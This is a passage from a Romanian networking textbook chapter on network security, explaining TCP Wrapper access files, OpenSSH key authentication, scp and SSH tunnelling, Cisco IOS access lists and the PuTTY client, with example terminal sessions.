list_servicii o list cu unul sau mai multe nume de procese list_clieni o list cu unul sau mai multe nume de staii, adrese IP, expresii regulate sau wildcard-uri (ALL orice client, LOCAL orice nume de staie ce nu conine puncte). Toate acestea sunt descrise pe larg n paginile de manual: man 5 hosts_access. n continuare vom prezenta cteva exemple de configurare pe un sistem Unix: n fiierul /etc/hosts.allow, permitem accesul numai anumitor IP-uri din reea la serviciile popd (192.168.1.205 192.168.1.103), imapd (192.168.1.0/255.255.255.0) i ssh (192.168.1.2 172.16.23. este corect forma 172.16.23., aceasta semnificnd 172.16.23.0/24; .pub.ro specific toate numele care se termin cu acest sufix, exceptnd cs.pub.ro):
popd : 192.168.1.205 192.168.1.103 imapd : 192.168.1.0/255.255.255.0 sshd : 192.168.1.2 172.16.23. .pub.ro EXCEPT cs.pub.ro

n fiierul /etc/hosts.deny, blocm restul traficului:

ALL : ALL

Exist dou utilitare de verificare a funcionalitii TCP Wrapper: tcpdchk verific fiierul de configurare pentru corectitudine. Pentru informaii suplimentare folosii parametrul -v (verbose). tcpdmatch daemon adresa_surs verific cum trateaz TCP Wrapper o conexiune de la adresa adresa_surs la serviciul daemon:

S e c u r i z a r e a r e e l e i | 235
root@HQ:~# tcpdmatch sshd 127.0.0.1 client: address 127.0.0.1 server: process sshd access: granted

SSH
Cea mai popular implementare a protocolului SSH o reprezint pachetul OpenSSH, un proiect open source, lansat i creat de cei de la OpenBSD. n prezent, cea mai nou versiune de OpenSSH este 6.0p1, lansat pe 20 aprilie 2012. Pachetul ssh este compus dintr-un server (sshd), un client (ssh - disponibil implicit pe majoritatea distribuiilor) i un set de utilitare, pentru gestiunea cheilor. n general sshd este pornit de scripturile de iniializare ale sistemului i ruleaz permanent n background. Instalarea serverului SSH include instalarea unor module adiionale cum ar fi: sshd component server (va fi prezentat n seciunea Studiu de caz). ssh client SSH. ssh-keygen utilitar folosit pentru generarea cheilor. ssh-keyscan utilitar folosit pentru administrarea cheilor publice. scp utilitar pentru copierea sigur de fiiere. ssh-agent component folosit pentru stocarea cheilor private. ssh-copyid se copiaz o cheie public n contul de utilizator la care se dorete accesul. Pentru instalarea pachetului SSH pe sistemele Linux debian-based, se execut urmtoarea comand:
root@HQ:~# apt-get install ssh [...]

Odat instalat, serverul SSH este pornit automat. Pentru pornirea sau repornirea sa se poate folosi utilitarul service:
root@HQ:~# service ssh {start|stop|reload|force-reload|restart|try-restart|status}

Comanda de conectare la un server SSH are doi parametri importani: numele utilizatorului i adresa (numele) serverului destinaie. Serverul de SSH la care se va face conectarea, n exemplul de mai jos, este: securessh.ro, acest nume fiind un nume public, pe care serviciul de DNS l va traduce ntr-o adres IP. Dac se dorete conectarea la un server, dar nu se cunoate numele su DNS, se poate introduce direct IP-ul serverului. Cnd un client iniiaz o conexiune ssh pe un server, trebuie s se conecteze folosind un nume de utilizator existent pe acel server, pentru a putea avea acces la interpretorul de comenzi (linia de comand). Parametrul mihai din exemplul urmtor specific utilizatorul n contul cruia se va intra, la stabilirea conexiunii:
root@HQ:~# ssh mihai@securessh.ro mihai@securessh.ro's password: Last login: Tue Aug 28 12:19:16 2012 from 188.26.195.166 mihai@securessh:~$

n rezultatul comenzii de mai sus se poate observa faptul ca s-au mai fcut conexiuni anterioare pe acel server de SSH, fiind oferit att ora i data ultimei conexiuni, ct i adresa IP de la care s-a realizat conexiunea. Cnd un client de SSH iniiaz pentru prima dat o conexiune ctre un server nou, acesta din urm va trebui sa se autentifice ctre client. Fiecare server de SSH are un identificator unic (host key) cu care se autentific clienilor. Acest ID este implementat prin chei publice i chei private. La primirea unei conexiuni de la un client, serverul ofer cheia sa public, fcnd astfel posibil autentificarea. La acceptarea cheii publice de la server, clientul adaug aceast cheie n fiierul known_hosts. Astfel, urmtoarea conexiune, pe care acest client o va face la server, nu va mai necesita transferul cheii publice, aceasta existnd deja stocat la client. Pentru a realiza acest lucru, clientul SSH va salva cheia serverului n fiierul local $HOME/.ssh/known_hosts. La urmtoarea conectare pe acelai server, clientul SSH va

236 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

verifica acest fiier i, dac va gsi cheia public oferit de acesta, se va afia pentru autentificare doar parola. Un exemplu de fiier known_hosts este urmtorul:
root@HQ:~# cat ~/.ssh/known_hosts v20z.zefyris.com,213.41.253.7 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEhlOViodZrqIUApSibzamwo+6fNGu6UESh1kpdRsFqG6gcDSj0uUtmb00DMK9tt PwOfVyhnx+/EIKBhuah11hzjCeztAb2IntjVpdNO26PVOGjXVLlOXRP3uodKQj8VHeS2HmeSOdEPCoXAfTkN9broAuaU5j Hyb3rPaT2T1Tc3jFsj750FyQ4HY9078Nnfz2nsAloOmCOjGA1vDR5tU+URBdzdsrVq5oxCE4+h7Kb0FQSrSianDMz3Hx+K RjEOMAczUWsgAtZ3csR1gR7MJcvOMlUW9NHaffuv/lhkbE4o2GIDDIuRT/MECps9tlft+otv9Xqe1EF5LjL77kBXJh 141.85.227.118 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuSQeZhVimxizhtOdcS1hx1OYW8u8iZjCHwrtrmjyfiHmZRDxC9zEnTTU32472azIX2 dHV3UMA3ynVyqLsVcwUcR3k6OI6lHJaDkEwWMXfQ2BDOxYp1wo77u9Mqh4stjRtLEHCe1XXdBsqvFsFm0PWqgdnsjukk2h EdL/cTsikF8g7u5C+dUqu3ky5CJnsE086n45Qv8w4kV0pWMa1hi9d3ndTiAlVCA/2RyCqmJC/U98XCFmW/bLLOwi2QYdFH 8sc84MUME8rkFHLMUcEyQm18JwxoCVvZxYOUuVha7ftLDau03qSWmTVsYCkzu1bAPe2M4aSwaGoQmMUbBwiVOGlw== securessh.ro,69.163.100.198 ssh-rsa AAAB3NzaC1yc2EAAAABIwAAAIEA4JhuSSNp2/BZljjRTdii61PObXJI6UdJ9wdg6lZJMEIWdl6ZGJauPRgFDzsTuz6bdUI TZadhsgs5vfXYRIVupvwflfP1V/ihJFe1juTRN+WAZqla0nOKdR3/XHLhue2pWjIZYDkBFgwWB29biFdBv7FxJCBObcW8e HNyfOOgb8E=

Pe prima linie sunt trecute numele serverului de la distan (dac acesta are un nume DNS) i adresa IP a acestuia, apoi urmnd cheia public. n exemplul de mai sus exist trei servere la care utilizatorul s-a conectat n prealabil i a cror cheie public a fost salvat. Aceste chei se pot afla n dou locuri din sistemul de fiiere: /etc/ssh/ssh_known_hosts, fiier a crui locaie poate fi schimbat prin alterarea directivei GlobalKnownHostsFile din fiierul de configurare /etc/ssh/ssh_config. $HOME/.ssh/known_hosts, fiier a crui locaie poate fi schimbat prin alterarea directivei UserKnownHostsFile din acelai fiier de configurare. n captura de mai jos, se poate observa cum la prima conexiune realizat la un server, clientul reine amprenta acestuia n fiierul known_hosts:
root@HQ:~# ssh mihai@micosconstruct.ro The authenticity of host 'micosconstruct.ro (86.122.60.17)' can't be established. RSA key fingerprint is 2d:40:d6:d8:f6:70:ee:a3:57:7b:a6:d6:35:d3:72:2e. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'micosconstruct.ro,86.122.60.17' (RSA) to the list of known hosts. mihai@micosconstruct.ro's password:

Sintaxa complet a utilitarului ssh permite precizarea unei liste de parametri, a utilizatorului i a adresei destinaie, precum i a unei comenzi ce va fi rulat dup stabilirea sesiunii SSH. Dac nu este precizat o comand, se va rula un interpretor de comenzi (cel mai adesea /bin/bash). n exemplul de mai jos, sunt rulate local dou comenzi separate prin ;. Apoi se ruleaz aceleai comenzi (de data aceasta protejate, ntre ghilimele), rezultatul afiat este cel al executrii lor pe staia destinaie, dup autentificarea cu utilizatorul mihai.
root@HQ:~# hostname; pwd hQ /root root@HQ:~# ssh mihai@micosconstruct.ro "hostname; pwd" mihai@micosconstruct.ro's password: micos /home/mihai

Dup cum s-a observat, exist dou modaliti de execuie a comenzilor prin SSH. Prima presupune executarea comenzilor dorite dup realizarea conexiunii, n interpretorul de comenzi deschis la distan, iar n cea de-a doua metod, comenzile dorite sunt date ca argumente clientului SSH. Pentru aceasta din urm, de fiecare dat cnd se va executa o anumit comand, va trebui introdus parola utilizatorului ce deschide sesiunea. Pentru a prentmpina acest dezavantaj, se poate folosi autentificarea pe baz de chei, fiind necesar generarea unei perechi de chei (public/privat). Acest lucru se realizeaz folosind utilitarul ssh-keygen care creaz dou fiiere, unul pentru fiecare cheie. Implicit, n fiierul ~/.ssh/id_rsa este pstrat cheia privat, iar n fiierul ~/.ssh/id_rsa_pub cheia public. Deoarece cheia privat nu trebuie inut la vedere, ssh-keygen ofer posibilitatea introducerii unei parole (passphrase), ce va proteja fiierul n care se pstreaz aceasta. Rulat

S e c u r i z a r e a r e e l e i | 237 fr nici un parametru, acesta va genera o pereche de chei RSA. Dac se dorete alt tip (de exemplu DSA), se poate folosi parametrul -t, urmat de cuvntul cheie ce specific tipul respectiv.
root@HQ:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: 94:52:e2:0f:ee:1d:9c:5f:ad:90:fd:9a:b7:22:2e:91 root@HQ [...]

n cazul n care se dorete schimbarea passphrase-ului se poate folosi opiunea p (ATENIE la cheia privat specificat):
root@HQ:~# ssh-keygen -p Enter file in which the key is (/root/.ssh/id_rsa): Key has comment '/root/.ssh/id_rsa' Enter new passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved with the new passphrase.

Pentru conectarea fr parol pe serverul la distan, utilizatorul trebuie s i copieze cheia public la sfitul fiierului $HOME/.ssh/authorized_keys, aflat pe server. Acest lucru se poate face manual sau folosind utilitarul ssh-copy-id, ce simplific aceast operaiune. Parametrii ce trebuie specificai sunt utilizatorul n contul cruia se copiaz cheia public i serverul. n mod implicit, ssh-copy-id va copia cheia public aflat n $HOME/.ssh/id_rsa.pub. Dac se dorete copierea unei alte chei, se poate folosi parametrul -i urmat de fiierul ce conine cheia public.
root@HQ:~# ssh-copy-id -i /root/.ssh/id_rsa.pub mihai@micosconstruct.ro mihai@micosconstruct.ro's password: Now try logging into the machine, with "ssh 'mihai@micosconstruct.ro'", and check in: .ssh/authorized_keys to make sure we haven't added extra keys that you weren't expecting. root@HQ:~# ssh mihai@micosconstruct.ro Last login: Tue Aug 28 13:28:18 2012 from 188.26.195.166 mihai@micos:~$

Se observ c autentificarea s-a realizat fr parol. ssh folosete n mod implicit cheia privat aflat n fiierul $HOME/.ssh/id_rsa. n cazul n care cheia nu se afl n fiierul implicit, se poate specifica cu parametrul -i (exact ca la ssh-copy-id). Se va muta cheia privat n alt locaie i se va realiza din nou autentificarea:
root@HQ:~# mv ~/.ssh/id_rsa ~/.ssh/cheia_privat root@HQ:~# ssh mihai@micosconstruct.ro mihai@micosconstruct.ro's password: Last login: Tue Aug 28 16:19:46 2012 from 188.26.195.166 mihai@micos:~$ exit logout Connection to micosconstruct.ro closed. root@HQ:~# ssh -i ~/.ssh/cheia_privata mihai@micosconstruct.ro Last login: Tue Aug 28 16:28:02 2012 from 188.26.195.166 mihai@micos:~$

Dup cum se poate observa, dup mutarea cheii private, autentificarea nu s-a mai putut face cu ajutorul cheilor. ATENIE: o greeal frecvent este generarea cheii n alt loc dect cel implicit, iar la autentificarea se omite specificarea ei. Astfel autentificarea pe baz de chei nu va funciona. Ce se ntmpl dac adugm un passphrase cheii private, pentru a mpiedica folosirea ei de ctre persoane neautorizate?
root@HQ:~# ssh-keygen -p Enter file in which the key is (/root/.ssh/id_rsa): /root/.ssh/cheia_privata Key has comment '/root/.ssh/cheia_privata' Enter new passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved with the new passphrase. root@HQ:~# ssh -i ~/.ssh/cheia_privata mihai@micosconstruct.ro Enter passphrase for key '/root/.ssh/cheia_privata':

238 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Last login: Tue Aug 28 16:32:57 2012 from 188.26.195.166 mihai@micos:~$

Se observ c ni s-a cerut introducerea passphrase-ului nainte de folosirea cheii. Aadar, avantajul cheilor n acest moment este nul. Pentru a prentmpina acest dezavantaj, exist un serviciu de stocare al cheilor private, passphrase-ul introducndu-se doar la adugarea cheii n baza de date a serviciului. Serviciul trebuie activat rulndu-se utilitarul ssh-agent, iar cheile se adaug folosind comanda ssh-add.
root@HQ:~# ssh-agent SSH_AUTH_SOCK=/tmp/ssh-DZswn30361/agent.30361; export SSH_AUTH_SOCK; SSH_AGENT_PID=30362; export SSH_AGENT_PID; echo Agent pid 30362; root@HQ:~# ssh-add

Dac fiierul cu cheia privat nu este n locul implicit ($HOME/.ssh/id_rsa), atunci acesta trebuie specificat ca parametru:
root@HQ:~# ssh-add ~/.ssh/cheia_privata Enter passphrase for /root/.ssh/cheia_privata: Identity added: /root/.ssh/cheia_privata (/root/.ssh/cheia_privata) root@HQ:~# ssh -i ~/.ssh/cheia_privata mihai@micosconstruct.ro Last login: Tue Aug 28 16:33:19 2012 from 188.26.195.166 mihai@micos:~$

Unul dintre utilitarele importante ce aparin pachetului OpenSSH este scp (Secure Copy). SCP este un protocol folosit n transferul sigur de fiiere ntre dou staii, pe durata transferului datele fiind criptate de o sesiune SSH. Protocolul n sine nu asigur autentificarea i securitatea comunicaiei, acestea fiind asigurate de ctre protocolul SSH. Astfel, dac se dorete copierea unui fiier de pe staia local pe o staie la distan se poate folosi urmtoarea sintax:
scp cale_fiier_local utilizator@staie_distan:/cale_fiier

n schimb, dac se dorete copierea unui fiier de pe o staie la distan pe staia local se poate folosi urmtoarea sintax:
scp utilizator@staie_distan:/cale_fiier_remote /cale_fiier

Adresarea de dup : este relativ la home-ul utilizatorului. n exemplul de mai jos, se va copia fiierul test.txt de pe staia local (directorul local) pe staia micosconstruct.ro. Fiierul va fi copiat n directorul home al utilizatorului mihai, cu numele copy_of_test.txt:
root@HQ:~# scp test.txt mihai@micosconstruct.ro:copy_of_test.txt test.txt 100% 5 0.0KB/s 00:00

Se observ c nu s-a cerut nici o parol, autentificarea fcndu-se pe baza cheilor adugate anterior. n caz contrar, trebuia s se introduc parola utilizatorului mihai. Pentru a pstra numele original al fiierului ce trebuie copiat, se omite specificarea noului nume:
root@HQ:~# scp test.txt mihai@micosconstruct.ro: test.txt root@HQ:~# ssh mihai@micosconstruct.ro ls copy_of_test.txt [...] test.txt 100% 5 0.0KB/s 00:00

Pentru copierea unui ntreg director trebuie s se foloseasc opiunea -r (recursive), asemenea utilitarului cp. n exemplul urmtor, vom copia directorul test. Se observ copierea recursiv a ntregului director, inclusiv coninutul subdirectoarelor (ierarhia de directoare se pstreaz):
root@HQ:~# scp -r test mihai@micosconstruct.ro:copy_of_test test _cfa1.ir_dfa CoolIr__.g Program.java [...] Makefile 100% 0 100% 385 100% 2738 100% 2744 100% 239 0.0KB/s 0.4KB/s 2.7KB/s 2.7KB/s 0.2KB/s 00:00 00:00 00:00 00:00 00:00

S e c u r i z a r e a r e e l e i | 239 Pentru copierea fiierului root_test.txt de pe staia micosconstruct.ro, aflat n subdirectorul test1/test2 (relativ la directorul home al utilizatorului mihai), n directorul curent putem folosi urmtoarea sintax:
root@HQ:~# scp mihai@micosconstruct.ro:test1/test2/root_test.txt . root_test.txt 100% 5 0.0KB/s 00:00

Tunele SSH
Tunelarea SSH reprezint folosirea protocolului SSH i a capabilitilor acestuia, pentru a securiza un transfer de date. Pentru crearea unui tunel SSH, clientul SSH este configurat s redirecteze un port specificat i o adres IP (existente pe serverul SSH la distan) pe un port al staiei locale. Odat ce conexiunea SSH a fost stabilit, utilizatorul se poate conecta la portul local pentru accesarea serviciilor aflate pe staia la distan (pe serverul SSH), servicii ce altfel ar fi putut fi accesibile prin conectarea direct pe portul i adresa IP a staiei la distan. Aceast metod rezolv dou probleme: asigur criptarea traficului pentru un serviciu ce nu ofer aceast facilitate poate ocoli firewall-urile ce filtreaz anumite servicii ctre Internet (de exemplu este blocat portul 443, iar portul 22 al SSH-ului funcioneaz). Pentru a ilustra ct mai bine cele menionate mai sus se consider urmtorul scenariu. Un utilizator obinuit dorete s i citeasc email-ul, folosind un client de email (Thunderbird, fetchmail, mutt, Outlook, etc.). Dac utilizatorul se conecteaz direct la serverul de e-mail, clientul de e-mail va trimite numele de utilizator i parola n text clar, necriptat. Acest lucru reprezint o mare vulnerabilitate n cazul n care un intrus ascult cu un sniffer mediul de transmisie (vezi capitolul Atacuri de reea). Pentru prevenirea acestui atac se pot folosi capabilitile de tunelare oferite de SSH. Un tunel SSH va fi folosit n modul urmtor: n loc s se realizeze conectarea direct la serverul de e -mail, se va stabili o conexiune SSH ctre un server din interiorul reelei n care respectivul server de e-mail se afl, sau direct ctre serverul nsui, aa cum se ntmpl cel mai adesea, cnd serverul de e-mail ofer i serviciu SSH. Clientul SSH va realiza redirectarea portului, astfel nct traficul ce ajunge la staia local pe portul 143 (portul folosit de protocolul IMAP), ajunge s fie redirectat prin tunelul criptat ctre serverul de e-mail. Apoi clientul de e-mail poate fi configurat s utilizeze portul local, fiind pus astfel n legtur cu serverul de la distan. Pentru a deschide un tunel, se folosete parametrul -L al utilitarului ssh. Vom face un tunel ntre staia local A i serverul micosconstruct.ro pe portul IMAP. Se observ c este ca o conectare la serverul ssh obinuit. ATENIE: dup conectarea la server, nu trebuie s ieii, altfel tunelul se va nchide.
root@HQ:~# netstat -tlnp | grep 143 root@HQ:~# ssh -L143:micosconstruct.ro:143 mihai@micosconstruct.ro Last login: Wed Aug 29 10:21:13 2012 from 141.85.225.204 mihai@micos:~$

Dup parametrul -L, se specific portul local pe care s asculte serviciul (n cazul nostru 143 se putea specifica orice port liber), serverul ce are un serviciu de IMAP i portul pe care ascult. Toate acestea sunt separate de dou puncte (:). Din alt consol, verificm dac ascult vreun serviciu pe portul 143:
root@HQ:~# netstat -tlnp | grep 143 tcp 0 0 127.0.0.1:143 0.0.0.0:* LISTEN 9138/ssh

Se observ c pe portul 143, pe localhost (127.0.0.1), ascult serviciul de SSH.


root@HQ:~# telnet localhost 143 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA AUTH=CRAM-MD5 AUTH=CRAM-SHA1 AUTH=CRAM-SHA256 IDLE ACL ACL2=UNION STARTTLS] Courier-IMAP ready. Copyright 1998-2008 Double Precision, Inc. See COPYING for distribution information. QUIT QUIT NO Error in IMAP command received by server.

240 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Dei serviciul care ascult local pe portul 143 este SSH, serverul de e-mail este cel care a rspuns. n momentul n care s-a deschis conexiunea pe portul 143, s-a rulat tcpdump, pentru a analiza coninutul pachetelor:
root@HQ:~# tcpdump -i eth0 -X dst micosconstruct.ro 10:35:06.996304 IP HQ.local.46991 > micosconstruct.ro.ssh: Flags [.], ack 1073, win 425, options [nop,nop,TS val 147151295 ecr 778445030], length 0 0x0000: 4500 0034 1a27 4000 4006 dc68 ac10 0599 E..4.'@.@..h.... 0x0010: 567a 3c11 b78f 0016 c922 99fa 329c daa2 Vz<......"..2... 0x0020: 8010 01a9 445b 0000 0101 080a 08c5 59bf ....D[........Y. 0x0030: 2e66 20e6 .f.. [...]

Dup cum se poate observa, coninutul este criptat, comanda trimis (QUIT) neaprnd n captur. Vom ncerca s ne conectm n mod direct la serverul de IMAP:
root@A:~# telnet micosconstruct.ro 143 Trying 86.122.60.17... Connected to micosconstruct.ro. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA AUTH=CRAM-MD5 AUTH=CRAM-SHA1 AUTH=CRAM-SHA256 IDLE ACL ACL2=UNION STARTTLS] Courier-IMAP ready. Copyright 1998-2008 Double Precision, Inc. See COPYING for distribution information. QUIT QUIT NO Error in IMAP command received by server.

n analiza tcpdump, se poate vedea c textul trimis QUIT, a aprut n clar, n captura pachetului:
root@HQ:~# tcpdump -i eth0 -X dst micosconstruct.ro 10:37:27.754502 IP mjolnir-2.local.50526 > micosconstruct.ro.imap2: Flags [P.], seq 0:6, ack 289, win 245, options [nop,nop,TS val 147186484 ecr 778458236], length 6 0x0000: 4510 003a fabc 4000 4006 fbbc ac10 0599 E..:..@.@....... 0x0010: 567a 3c11 c55e 008f d14b 201d 5233 8bf1 Vz<..^...K..R3.. 0x0020: 8018 00f5 4461 0000 0101 080a 08c5 e334 ....Da.........4 0x0030: 2e66 547c 5155 4954 0d0a .fT|QUIT..

Un alt tip de tunel oferit de utilitarul ssh este unul de tip reverse (-R). Acesta permite deschiderea unui port pe serverul de la distana ce face legtur cu staia de pe care se realizeaz tunelul, acesta fiind util atunci cnd staia respectiv nu poate fi accesat n mod direct din Internet (are IP privat vezi capitolul Alterarea pachetelor). Vom deschide portul 10022 pe serverul de la adresa micosconstruct.ro care va redirecta traficul ctre portul 22 (serviciul SSH) al staiei locale :
root@HQ:~# ssh -R10022:localhost:22 mihai@micosconstruct.ro Last login: Wed Aug 29 10:57:22 2012 from 141.85.225.204 mihai@micos:~$ root@A:~# ssh -p 10022 root@micosconstruct.ro root@micosconstruct.ro's password: [...] Last login: Wed Aug 29 10:32:36 2012 from 141.85.225.204 root@HQ:~#

S-a realizat SSH de pe o alt staie (A), pe portul 10022 al serverul micosconstruct.ro, folosind utilizatorul root. Parola cerut este cea a utilizatorului root de pe staia HQ. Se observ c s-a realizat redirectarea ctre HQ automat. Un alt tip de tunelare oferit de utilitarul ssh este redirectarea protocolului X11, putndu-se rula aplicaii grafice printr-o conexiune SSH, la distan. Pentru a activa tunelarea X11 se folosete parametrul -X.
root@HQ:~# ssh -X mihai@micosconstruct.ro mihai@micos:~$ xclock

7.4.2 Cisco IOS


Liste de acces
n cadrul sistemului de operare IOS ce ruleaz pe echipamente CISCO, exist un sistem de firewall asemntor iptables, bazat de reguli. Acestea poart numele de liste de acces (ACL access control list) i sunt identificate printr-un numr. Ca i regulile iptables, acestea sunt compuse

S e c u r i z a r e a r e e l e i | 241 din dou seciuni, o parte de selecie i o parte ce specific aciunea aplicat. n funcie de complexitatea seleciei, exist dou tipuri de liste de acces: standard (standard) acestea pot face selecia doar n funcie de adresa IP surs. Pentru a folosi listele standard, intervalul de numere de identificare asociat este 1-99. extinse (extended) acestea pot face selecia n funie de adresa IP surs sau destinaie, dar i n funcie de protocolul de nivel 4 (tipul protocolului, portul). Pentru a folosi acest tip de liste, intervalul de numere de identificare asociat este 100-199. Pentru a exemplifica cele prezentate mai sus, vom scrie o regul ce blocheaz traficul de la IP-ul 192.168.10.10, folosind o list standard. Listele de acces se adaug n modul global de configurare (router(config)#):
router#configure terminal Enter configuration commands, one per line. End with CNTL/Z. router(config)#access-list ? <1-99> IP standard access list <100-199> IP extended access list router(config)#access-list 1 ? deny Specify packets to reject permit Specify packets to forward remark Access list entry comment router(config)#access-list 1 deny ? A.B.C.D Address to match any Any source host host A single host address router(config)#access-list 1 deny 192.168.10.10 ? A.B.C.D Wildcard bits <cr> router(config)#access-list 1 deny 192.168.10.10 0.0.0.0 router(config)#exit router#show access-lists Standard IP access list 1 deny 192.168.10.10 0.0.0.0

Se observ c pentru a aduga o regul, se folosete comanda access-list, urmat de numrul regulii, acesta indicnd i tipul listei de acces. Urmeaz cele dou seciune menionate anterior: aciunea ce trebuie aplicat (deny/permit) i selecia. Fiind o list standard se poate specifica doar adresa IP surs sub trei forme: clas de IP-uri la care se mai specific i un wildcard, acesta fiind o masc de reea inversat logic. Biii de 1 din wildcard sunt biii ce vor fi ignorai la ncercarea de gsire a unei potriviri. ns, principala deosebire fa de o masc de reea este alta: un wildcard permite intercalarea biilor de 1 cu cei de 0, pe cnd la o masc nu se permit astfel de intercalri (0.0.255.0 este un wildcard valid, pe cnd echivalentul lui reprezentat ca o masc 255.255.0.255 nu este). cuvntul cheie any orice adres IP surs. cuvntul cheie host urmat de adresa IP cnd se dorete blocarea unui singur IP. Se poate rescrie regula anterioar folosind cuvntul cheie host. Mai nti trebuie tears regula anterioar, executnd aceeai regul precedat de cuvntul cheie no, deoarece aceasta nu va fi rescris, ci se va aduga o nou regul, la finalul listei:
router(config)#no access-list 1 deny 192.168.10.10 0.0.0.0 router(config)#access-list 1 deny host 192.168.10.10 router#show access-lists Standard IP access list 1 deny host 192.168.10.10

Dup cum am precizat anterior, orice regul nou adugat, folosind acelai identificator, va fi pus la finalul listei. Regulile sunt parcuse ca i la iptables, de sus n jos, iar la prima selecie reuit se aplic aciunea corespunztoare, restul regulilor nemaifiind parcurse. ATENIE: Nu exist nici un mecanism prin care putei schimba ordinea sau putei influena unde n cadrul listei va fi adugat o nou regul (cum exist la iptables opiunea de insert: -I). Este recomandat s scriei nainte toate regulile pentru un identificator, ntr-un editor de text, iar dup aceea s le executai pe ruter.

242 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e La iptables exist noiunea de politic implicit: ce se ntmpl dac un pachet nu se potrivete cu nici o regul de selecie. n cadrul ACL-urilor, exist n mod implicit, la sfritul listei, o directiv prin care se blocheaz orice trafic. Aadar n exemplul nostru am blocat traficul de la IP-ul 192.18.10.10, dar n mod automat, s-au blocat i restul pachetelor. Pentru a funciona conform cerinei de filtrare, mai trebuie adugat o regul:
router(config)#access-list 1 permit any router(config)#exit router#sho access-lists Standard IP access list 1 deny host 192.168.10.10 permit any

Pn n acest moment, n procesul de selecie, nu s-a specificat absolut nimic despre interfee. Pe Cisco IOS, orice list de acces definit, nu are nici un efect asupra traficului pn cnd nu se specific interfaa asupra creia acioneaz. Acest lucru se poate realiza n modul de configurare al interfeei, conform exemplului de mai jos:
router(config)#interface fastEthernet 0/0 router(config-if)#ip access-group 1 in

S-a aplicat lista de acces cu numrul 1, pe interfata fastEthernet 0/0, pe direcia in, adic traficul ce intr pe interfa, folosind comanda ip access-group. Pentru traficul ce iese pe o interfa, se poate folosi cuvntul cheie out. O alt particularitate a listelor de acces este c nu se aplic pentru traficul generat de ruter, ci numai traficul pentru care se asigur rutarea. Dup cum am precizat mai sus, pentru o selecie mai complex, se folosesc listele extinse. Modul de funcionare este identic cu cel al listelor standard, acestea oferind n plus mai multe opiuni de selecie. Pentru a exemplifica, se dorete blocarea accesului la serverele SSH (port 22), pentru traficul originat din clasa de IP-uri 172.16.0.0/24.
router(config)#access-list 100 deny tcp 172.16.0.0 0.0.0.255 any eq 22

Dup aciunea dorit (deny), se specific protocolul dorit (tcp), sursa pachetului urmat de portul surs i destinaia pachetului urmat de portul destinaie. Porturile pot lipsi (n cazul de fa portul surs), acest lucru nsemnnd orice port al protocolului. Dup cuvntul cheie eq, se specific portul destinaie. Ca i la listele standard, mai trebuie adugat o regul care s permit orice alt trafic:
router(config)#access-list 100 permit ip any any

Se observ folosirea protocolului ip, acesta cuprinznd practic toate protocoalele de nivel superior. ATENIE: Nu uitai s adugai listele n configurarea interfeelor. Listele de acces, identificate pe baza numerelor, sunt greu de administrat. Pentru a combate acest dezavantaj, Cisco IOS a introdus listele de acces bazate pe nume. Acestea au acelai principiu de funcionare, existnd tot n ambele forme: standard i extinse. Pentru a defini o list de acces identificat prin nume se folosete comanda ip access-list standard|extended, urmat de nume. Dup executarea comenzii, se intr n modul de configurare al listei de acces, sintaxa fiind aceeai cu cea a listelor de acces normale, ncepnd cu specificarea aciunii.
router(config)#ip access-list ? extended Extended Access List standard Standard Access List router(config)#ip access-list extended ? <100-199> Extended IP access-list number WORD name router(config)#ip access-list extended test router(config-ext-nacl)#deny tcp 172.16.0.0 0.0.0.255 any eq 22 router(config-ext-nacl)#permit ip any any router#show access-lists test Extended IP access list test deny tcp 172.16.0.0 0.0.0.255 any eq 22 permit ip any any

S e c u r i z a r e a r e e l e i | 243 Ca i cele normale, listele de acces cu nume trebuie aplicate pe o interfa, altfel nu vor avea nici un efect.

SSH
Sistemul de operare Cisco IOS integreaz n componena sa un client de ssh, acesta avnd funcionaliti asemntoare cu cel de pe Linux. Comanda ssh este urmat de parametrul l, prin care se specific numele utilizatorului, i mai apoi urmat de numele staiei la care se conecteaz:
router#ssh l mihai micosconstruct.ro

Cisco IOS are inclus i un server de SSH. Configurarea acestuia va fi prezentat n seciunea Studiu de caz.

7.4.3 Windows
SSH
Cel mai folosit client din Windows, disponibil gratuit, pentru accesul la diferite dispozitive, este PuTTY. Acesta suport principalele protocoale folosite pentru acces la consolele echipamentelor: Telnet, Rlogin, SSH i Serial. n cadrul acestei seciuni, vom prezenta modul de lucru cu PuTTY, folosind protocolul SSH.

7-8 PuTTY Conexiune SSH n Fig. 7-8, este prezentat fereastra principal a utilitarului PuTTY. Se va selecta tipul conexiunii SSH, iar portul automat va fi configurat la valoarea 22. n caz c, serviciul SSH are o configuraie special (ascult pe alt port) se poate modifica manual portul. n cmpul Host Name, se introduce adresa serverului la care dorim s ne conectm. Programul are o opiune de salvare a configuraiilor: n cmpul Saved Sessions, se introduce numele dorit i se apas butonul Save pentru stocare. Pentru ncrcarea configuraiilor, se selecteaz din list configuraia dorit i se apas butonul Load. Pentru a configura informaii specifice protocolului SSH (tipul de autentificare, cheie privat, crearea de tunele SSH), se acceseaz subcategoria SSH, din categoria Connections. n Fig. 7-8, n imaginea din dreapta, se observ c avem opiunea s introducem o comand care s se execute la conectare, ca i utilitarul ssh din Linux. n subcategoria Auth, putem specifica o cheie privat pentru a fi folosit n realizarea autentificrii. n acest caz, lucrurile difer fa de Linux. PuTTY funcioneaz cu un format special de chei private, numit fiier Putty Private Key, cu extensia *.ppk. Aadar nu se poate folosi n 